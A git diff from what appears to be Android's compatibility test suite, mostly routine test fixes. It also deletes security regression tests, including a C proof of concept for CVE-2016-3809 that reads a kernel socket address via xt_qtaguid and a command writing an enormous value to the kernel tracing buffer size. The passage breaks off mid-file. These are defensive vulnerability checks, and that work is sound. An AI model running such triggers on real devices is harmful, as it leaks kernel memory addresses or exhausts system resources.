a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk deleted file mode 100644 index 615d39b97b0..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) -LOCAL_MODULE := CVE-2016-3809 -LOCAL_SRC_FILES := poc.c -LOCAL_MULTILIB := both -LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32 -LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64 - -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts sts -LOCAL_CTS_TEST_PACKAGE := android.security.cts - -LOCAL_SHARED_LIBRARIES := liblog - -LOCAL_CFLAGS += -Wall -Werror -LOCAL_CFLAGS += -Iinclude -fPIE -LOCAL_LDFLAGS += -fPIE -pie -LOCAL_LDFLAGS += -rdynamic -include $(BUILD_CTS_EXECUTABLE) diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c deleted file mode 100644 index 4f4805f2e14..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c +++ /dev/null @@ -1,92 +0,0 @@ -/** - * Copyright (C) 2018 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#define _GNU_SOURCE - -#include <cutils/log.h> -#include <fcntl.h> -#include <stdio.h> -#include <string.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <unistd.h> - -#define BUF_SIZE 2048 - -int main() { - int sfd, fd, ret; - char buf[BUF_SIZE]; - char wbuf[BUF_SIZE]; - - ret = -1; - sfd = socket(AF_INET, SOCK_DGRAM, 0); - if (sfd == -1) { - perror("socket create"); - return 0; - } - snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl"); - fd = open(buf, O_RDWR); - if (fd == -1) { - perror("canot open xt_qtaguid ctrl"); - close(sfd); - return 0; - } - - /* clean all tags */ - snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid()); - ret = write(fd, wbuf, strlen(wbuf)); - if (ret < 0) { - perror("first clean"); - goto err; - } - - unsigned long long tag = ((unsigned long long)0x13371) << 32; - /* add sock tag */ - snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid()); - ret = write(fd, wbuf, strlen(wbuf)); - if (ret < 0) { - perror("add sock tag"); - goto err; - } - - ret = read(fd, buf, 22); - if (ret < 10) { - perror("canot read or read error"); - goto err; - } - buf[21] = '\0'; - char *temp = buf + 5; - printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp)); - short address = (short)*temp; - printf("addres sis %d", address); - if (address != 48) // ascii value of 0 is 48 - ALOGE("CVE-2016-3809 test case failed"); - else - ALOGE("CVE-2016-3809 test case passed"); - - /* clean all tags again */ - snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid()); - ret = write(fd, wbuf, strlen(wbuf)); - if (ret < 0) { - perror("cannot clean all tags at last time"); - goto err; - } - -err: - close(sfd); - close(fd); - return 0; -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java index 4fcab24a176..2601d43188a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java @@ -26,15 +26,4 @@ public class Poc16_07 extends SecurityTestCase { public void testPocCVE_2016_3818() throws Exception { AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60); } - - /** - * b/27532522 - */ - @SecurityTest - public void testPocCVE_2016_3809() throws Exception { - AdbUtils.runCommandLine("logcat -c", getDevice()); - AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60); - String logcat = AdbUtils.runCommandLine("logcat -d", getDevice()); - assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat); - } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java deleted file mode 100644 index 5ed4c22e479..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java +++ /dev/null @@ -1,32 +0,0 @@ -/** - * Copyright (C) 2018 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - -import android.platform.test.annotations.SecurityTest; - -@SecurityTest -public class Poc16_08 extends SecurityTestCase { - /** - * b/28026365 - */ - @SecurityTest - public void testPocCVE_2016_2504() throws Exception { - if (containsDriver(getDevice(), "/dev/kgsl-3d0")) { - AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60); - } - } -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java index 3446507702a..aba9ed0826f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java @@ -124,14 +124,4 @@ public class Poc17_01 extends SecurityTestCase { assertTrue(!result.equals("Vulnerable")); } } - - /** - * b/32659848 - */ - @SecurityTest - public void testPoc32659848() throws Exception { - String command = - "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb"; - AdbUtils.runCommandLine(command, getDevice()); - } } diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java index 3ac1314b202..de107c7617e 100644 --- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java +++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java @@ -144,7 +144,7 @@ public class ThemeHostTest extends DeviceTestCase { public void testThemes() throws Exception { if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) { - Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV"); + Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive"); return; } @@ -288,6 +288,7 @@ public class ThemeHostTest extends DeviceTestCase { private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) { return hardwareTypeString.contains("android.hardware.type.watch") - || hardwareTypeString.contains("android.hardware.type.television"); + || hardwareTypeString.contains("android.hardware.type.television") + || hardwareTypeString.contains("android.hardware.type.automotive"); } } diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java index 7db9a76d2fe..d20e1a48ed3 100644 --- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java +++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java @@ -277,6 +277,16 @@ public class WebViewOnUiThread { } public void requestFocus() { + new PollingCheck(LOAD_TIMEOUT) { + @Override + protected boolean check() { + requestFocusOnUiThread(); + return hasFocus(); + } + }.run(); + } + + private void requestFocusOnUiThread() { runOnUiThread(new Runnable() { @Override public void run() { @@ -285,6 +295,15 @@ public class WebViewOnUiThread { }); } + private boolean hasFocus() { + return getValue(new ValueGetter<Boolean>() { + @Override + public Boolean capture() { + return mWebView.hasFocus(); + } + }); + } + public boolean canZoomIn() { return getValue(new ValueGetter<Boolean>() { @Override diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java index f8a4228bef7..dd855dafa9a 100644 --- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java +++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java @@ -32,6 +32,7 @@ import android.os.BatteryManager; import android.os.SystemClock; import android.provider.Settings; import android.util.Log; +import android.content.res.Resources; import com.android.compatibility.common.util.SystemUtil; @@ -49,6 +50,7 @@ public class BatteryConstraintTest extends ConstraintTest { public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode(); private JobInfo.Builder mBuilder; + private int mLowBatteryWarningLevel = 15; /** * Record of the previous state of power save mode trigger level to reset it after the test * finishes. @@ -59,6 +61,9 @@ public class BatteryConstraintTest extends ConstraintTest { public void setUp() throws Exception { super.setUp(); + mLowBatteryWarningLevel = Resources.getSystem().getInteger( + Resources.getSystem().getIdentifier( + "config_lowBatteryWarningLevel", "integer", "android")); // Disable power save mode as some devices may turn off Android when power save mode is // enabled, causing the test to fail. mPreviousLowPowerTriggerLevel = Settings.Global.getInt(getContext().getContentResolver(), @@ -268,7 +273,7 @@ public class BatteryConstraintTest extends ConstraintTest { * the battery level is critical and not on power. */ public void testBatteryNotLowConstraintFails_withoutPower() throws Exception { - setBatteryState(false, 5); + setBatteryState(false, mLowBatteryWarningLevel); // setBatteryState() waited for the charging/not-charging state to formally settle, // but battery level reporting lags behind that. wait a moment to let that happen // before proceeding. @@ -303,8 +308,8 @@ public class BatteryConstraintTest extends ConstraintTest { kTestEnvironment.awaitExecution()); // And check that the job is stopped if battery goes low again. - setBatteryState(false, 5); - setBatteryState(false, 4); + setBatteryState(false, mLowBatteryWarningLevel); + setBatteryState(false, mLowBatteryWarningLevel - 1); waitFor(2_000); verifyChargingState(false); verifyBatteryNotLowState(false); diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java index f3a895e6c7d..7b8bf4b3f1d 100644 --- a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java +++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java @@ -184,8 +184,8 @@ public abstract class ConstraintTest extends InstrumentationTestCase { String getJobState(int jobId) throws Exception { return SystemUtil.runShellCommand(getInstrumentation(), - "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName() - + " " + jobId).trim(); + "cmd jobscheduler get-job-state --user cur " + + kJobServiceComponent.getPackageName() + " " + jobId).trim(); } void assertJobReady(int jobId) throws Exception { diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java index fcdb593d1ea..9e5b266e196 100644 --- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java +++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java @@ -184,8 +184,8 @@ public abstract class ConstraintTest extends InstrumentationTestCase { String getJobState(int jobId) throws Exception { return SystemUtil.runShellCommand(getInstrumentation(), - "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName() - + " " + jobId).trim(); + "cmd jobscheduler get-job-state --user cur " + + kJobServiceComponent.getPackageName() + " " + jobId).trim(); } void assertJobReady(int jobId) throws Exception { diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java index cadf73a17ff..8e79f23a6ff 100644 --- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java +++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java @@ -311,6 +311,7 @@ public class EnqueueJobWorkTest extends ConstraintTest { mJobScheduler.enqueue(ji, new JobWorkItem(work6)); kTestEnvironment.readyToWork(); SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run " + + " --user " + getCurrentUser() + " " + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID); assertTrue("Restarted with work enqueued did not execute.", @@ -366,6 +367,7 @@ public class EnqueueJobWorkTest extends ConstraintTest { mJobScheduler.enqueue(ji, new JobWorkItem(work6)); kTestEnvironment.readyToWork(); SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run " + + " --user " + getCurrentUser() + " " + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID); assertTrue("Restarted with work enqueued did not execute.", @@ -429,4 +431,8 @@ public class EnqueueJobWorkTest extends ConstraintTest { waitPermissionRevoke(mFirstUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000); waitPermissionRevoke(mSecondUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000); } + + private static int getCurrentUser() { + return android.os.Process.myUserHandle().getIdentifier(); + } } diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java index a64a9007f57..8faee83fe74 100644 --- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java +++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java @@ -25,6 +25,8 @@ import android.content.Intent; import android.content.pm.PackageManager; import android.test.AndroidTestCase; +import com.android.compatibility.common.util.CddTest; + import com.android.cts.process.activity.NoSharePidActivity; import com.android.cts.process.activity.SharePidActivity; import com.android.cts.process.activity.SharePidSubActivity; @@ -32,6 +34,7 @@ import com.android.cts.process.activity.SharePidSubActivity; public class ProcessTest extends AndroidTestCase { private final int WAIT_TIME = 2000; + @CddTest(requirement="9.2/C-0-1") public void testUid() throws Exception { String enableApp = "com.android.cts.process.shareuidapp"; String disableApp = "com.android.cts.process.noshareuidapp"; @@ -46,6 +49,7 @@ public class ProcessTest extends AndroidTestCase { assertNotSame(uid2, uid3); } + @CddTest(requirement="9.2/C-0-1") public void testPid() throws Exception { ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE); String shareProcessName = mContext.getPackageName() + ":shareProcess"; diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java index f845bb74399..4bb6c40aa08 100644 --- a/tests/app/src/android/app/cts/DisplayTest.java +++ b/tests/app/src/android/app/cts/DisplayTest.java @@ -22,6 +22,7 @@ import android.app.stubs.OrientationTestUtils; import android.graphics.Point; import android.test.ActivityInstrumentationTestCase2; import android.view.Display; +import static com.android.compatibility.common.util.PackageUtil.supportsRotation; /** * Tests to verify functionality of {@link Display}. @@ -48,6 +49,11 @@ public class DisplayTest extends ActivityInstrumentationTestCase2<DisplayTestAct * updated adjustments after a rotation. */ public void testRotation() throws Throwable { + if (!supportsRotation()) { + // Skip rotation test if device doesn't support it. + return; + } + // Get a {@link Display} instance before rotation. final Display origDisplay = mActivity.getDisplay(); diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java index 139e7c1209e..dfb471405fc 100644 --- a/tests/app/src/android/app/cts/WallpaperManagerTest.java +++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java @@ -45,6 +45,8 @@ import android.util.Log; import android.view.Display; import android.view.WindowManager; +import com.android.compatibility.common.util.CddTest; + import org.junit.Assert; import org.junit.Before; import org.junit.Test; @@ -100,6 +102,52 @@ public class WallpaperManagerTest { } @Test + public void setBitmapTest_1x1Pixel() { + ensureCleanState(); + + Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(tmpWallpaper); + canvas.drawColor(Color.RED); + + try { + int which = WallpaperManager.FLAG_SYSTEM; + int oldWallpaperId = mWallpaperManager.getWallpaperId(which); + mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(), + tmpWallpaper.getHeight()); + mWallpaperManager.setBitmap(tmpWallpaper); + int newWallpaperId = mWallpaperManager.getWallpaperId(which); + Assert.assertNotEquals(oldWallpaperId, newWallpaperId); + } catch (IOException e) { + throw new RuntimeException(e); + } finally { + tmpWallpaper.recycle(); + } + } + + @Test + public void setBitmapTest_1x1Pixel_FullscreenDesired() { + ensureCleanState(); + + Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(tmpWallpaper); + canvas.drawColor(Color.RED); + + try { + int which = WallpaperManager.FLAG_SYSTEM; + int oldWallpaperId = mWallpaperManager.getWallpaperId(which); + final Point displaySize = getScreenSize(); + mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y); + mWallpaperManager.setBitmap(tmpWallpaper); + int newWallpaperId = mWallpaperManager.getWallpaperId(which); + Assert.assertNotEquals(oldWallpaperId, newWallpaperId); + } catch (IOException e) { + throw new RuntimeException(e); + } finally { + tmpWallpaper.recycle(); + } + } + + @Test public void setResourceTest() { try { int which = WallpaperManager.FLAG_SYSTEM; @@ -112,6 +160,7 @@ public class WallpaperManagerTest { } } + @CddTest(requirement="3.2.3.4/C-0-1") @Test public void wallpaperChangedBroadcastTest() { Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888); diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml index 5feaf8d4623..805bd67c36f 100644 --- a/tests/autofillservice/AndroidManifest.xml +++ b/tests/autofillservice/AndroidManifest.xml @@ -23,6 +23,7 @@ <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING"/> <uses-permission android:name="android.permission.INJECT_EVENTS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> + <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" /> <application> diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml index 170715393e8..ee21a005622 100644 --- a/tests/autofillservice/res/layout/login_activity.xml +++ b/tests/autofillservice/res/layout/login_activity.xml @@ -80,24 +80,28 @@ android:id="@+id/clear" android:layout_width="wrap_content" android:layout_height="wrap_content" + android:layout_weight="1" android:text="Clear" /> <Button android:id="@+id/save" android:layout_width="wrap_content" android:layout_height="wrap_content" + android:layout_weight="1" android:text="Save" /> <Button android:id="@+id/login" android:layout_width="wrap_content" android:layout_height="wrap_content" + android:layout_weight="1" android:text="Login" /> <Button android:id="@+id/cancel" android:layout_width="wrap_content" android:layout_height="wrap_content" + android:layout_weight="1" android:text="Cancel" /> </LinearLayout> @@ -106,4 +110,4 @@ android:layout_width="match_parent" android:layout_height="wrap_content" /> -</LinearLayout>
\ No newline at end of file +</LinearLayout> diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java index f0714e1e10e..d473975cf3f 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java @@ -1648,9 +1648,9 @@ public class CameraTestUtils extends Assert { private static void validateRawPrivateData(byte[] rawData, int width, int height, long ts, String filePath) { if (VERBOSE) Log.v(TAG, "Validating private raw data"); - // Expect each RAW pixel should occupy at least one byte and no more than 2.5 bytes + // Expect each RAW pixel should occupy at least one byte and no more than 30 bytes int expectedSizeMin = width * height; - int expectedSizeMax = width * height * 5 / 2; + int expectedSizeMax = width * height * 30; assertTrue("Opaque RAW size " + rawData.length + "out of normal bound [" + expectedSizeMin + "," + expectedSizeMax + "]", diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java index 41f40065b8a..4f3cdff57b1 100644 --- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java +++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java @@ -55,6 +55,7 @@ import static org.junit.Assert.assertNull; import static org.junit.Assert.fail; import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; +import static com.android.compatibility.common.util.PackageUtil.supportsRotation; import android.content.ComponentName; import android.graphics.Rect; @@ -495,6 +496,10 @@ public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBas @Test public void testNonFullscreenActivityPermitted() throws Exception { + if(!supportsRotation()) { + //cannot physically rotate the screen on automotive device, skip + return; + } try (final RotationSession rotationSession = new RotationSession()) { rotationSession.set(ROTATION_0); diff --git a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java index 3efe3bb914d..59d7e95d03c 100644 --- a/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java +++ b/tests/framework/base/activitymanager/src/android/server/am/SplashscreenTests.java @@ -43,7 +43,7 @@ public class SplashscreenTests extends ActivityManagerTestBase { // Use ratios to flexibly accomodate circular or not quite rectangular displays // Note: Color.BLACK is the pixel color outside of the display region assertColors(image, mAmWmState.getWmState().getStableBounds(), - Color.RED, 0.50f, Color.BLACK, 0.01f); + Color.RED, 0.50f, Color.BLACK, 0.02f); } private void assertColors(Bitmap img, Rect bounds, int primaryColor, diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk deleted file mode 100644 index 5a0bbb94dbc..00000000000 --- a/tests/libcore/javautilcollections/Android.mk +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright (C) 2016 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) -LOCAL_MODULE := guava-20.0-prebuilt -LOCAL_MODULE_TAGS := optional -LOCAL_MODULE_CLASS := JAVA_LIBRARIES -LOCAL_SRC_FILES := libs/guava-20.0.jar -LOCAL_UNINSTALLABLE_MODULE := true -LOCAL_SDK_VERSION := current -include $(BUILD_PREBUILT) - -include $(CLEAR_VARS) -LOCAL_MODULE := guava-testlib-20.0-prebuilt -LOCAL_MODULE_TAGS := optional -LOCAL_MODULE_CLASS := JAVA_LIBRARIES -LOCAL_SRC_FILES := libs/guava-testlib-20.0.jar -LOCAL_UNINSTALLABLE_MODULE := true -LOCAL_SDK_VERSION := current -include $(BUILD_PREBUILT) - -include $(CLEAR_VARS) -LOCAL_MODULE_TAGS := tests -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) -LOCAL_STATIC_JAVA_LIBRARIES := \ - ctstestrunner \ - guava-20.0-prebuilt \ - guava-testlib-20.0-prebuilt -LOCAL_SRC_FILES := $(call all-java-files-under, src) -LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases -LOCAL_SDK_VERSION := current -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/libcore/javautilcollections/AndroidManifest.xml b/tests/libcore/javautilcollections/AndroidManifest.xml deleted file mode 100644 index a7e8cee6ad6..00000000000 --- a/tests/libcore/javautilcollections/AndroidManifest.xml +++ /dev/null @@ -1,32 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2016 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="libcore.java.util.collectiontests"> - - <!-- AndroidJUnitRunner needs a largeHeap to collect the ~ 240k test methods to run. --> - <application android:largeHeap="true"> - <uses-library android:name="android.test.runner"/> - </application> - - <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner" - android:targetPackage="libcore.java.util.collectiontests" - android:label="Tests for Collection implementations in java.util"> - </instrumentation> - -</manifest> - diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml deleted file mode 100644 index 7ea7634f9b8..00000000000 --- a/tests/libcore/javautilcollections/AndroidTest.xml +++ /dev/null @@ -1,73 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2016 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> -<configuration description="Config for CTS Libcore java.util Collection test cases"> - <option name="test-suite-tag" value="cts" /> - <option name="not-shardable" value="true" /> - <option name="config-descriptor:metadata" key="component" value="libcore" /> - <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> - <option name="cleanup-apks" value="true" /> - <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" /> - </target_preparer> - <!-- - Notes as of November 2016: - - 1.) When the runner collects the set of tests to run, it - (a) attempts to directly run TestCase subclasses from guava-testlib, which they don't support, - (b) doesn't find classes with suite() methods. - (c) runs out of memory if attempting to run all of the > 220k tests in a single go - Breaking the tests down into chunks of ~ 40-50k tests each, and explicitly specifying the - suites to run, solves these problems. - - 2.) Due to http://b/33068110 the classes with the suite() methods (in the "suite" sub-package) - need to extend TestSuite, which means that they need to delegate to separate classes (in the - "tests" sub-package) that extend classes from guava-testlib. - --> - <test class="com.android.tradefed.testtype.AndroidJUnitTest" > - <option name="package" value="libcore.java.util.collectiontests" /> - <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapNaturalSuite" /> - <option name="runtime-hint" value="10m" /> - <option name="test-timeout" value="1200000" /> - <option name="shell-timeout" value="1400000" /> - </test> - <test class="com.android.tradefed.testtype.AndroidJUnitTest" > - <option name="package" value="libcore.java.util.collectiontests" /> - <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapWithComparatorSuite" /> - <option name="runtime-hint" value="10m" /> - <option name="test-timeout" value="1200000" /> - <option name="shell-timeout" value="1400000" /> - </test> - <test class="com.android.tradefed.testtype.AndroidJUnitTest" > - <option name="package" value="libcore.java.util.collectiontests" /> - <option name="class" value="libcore.java.util.suite.TreeMapNaturalSuite" /> - <option name="runtime-hint" value="10m" /> - <option name="test-timeout" value="1200000" /> - <option name="shell-timeout" value="1400000" /> - </test> - <test class="com.android.tradefed.testtype.AndroidJUnitTest" > - <option name="package" value="libcore.java.util.collectiontests" /> - <option name="class" value="libcore.java.util.suite.TreeMapWithComparatorSuite" /> - <option name="runtime-hint" value="10m" /> - <option name="test-timeout" value="1200000" /> - <option name="shell-timeout" value="1400000" /> - </test> - <test class="com.android.tradefed.testtype.AndroidJUnitTest" > - <option name="package" value="libcore.java.util.collectiontests" /> - <option name="class" value="libcore.java.util.suite.OtherCollectionsSuite" /> - <option name="runtime-hint" value="8m" /> - <option name="test-timeout" value="1200000" /> - <option name="shell-timeout" value="1400000" /> - </test> -</configuration> diff --git a/tests/libcore/javautilcollections/libs/guava-20.0.jar b/tests/libcore/javautilcollections/libs/guava-20.0.jar Binary files differdeleted file mode 100644 index 632772f3a4d..00000000000 --- a/tests/libcore/javautilcollections/libs/guava-20.0.jar +++ /dev/null diff --git a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar b/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar Binary files differdeleted file mode 100644 index 6dd8d908e80..00000000000 --- a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar +++ /dev/null diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java deleted file mode 100644 index 332190be72d..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * 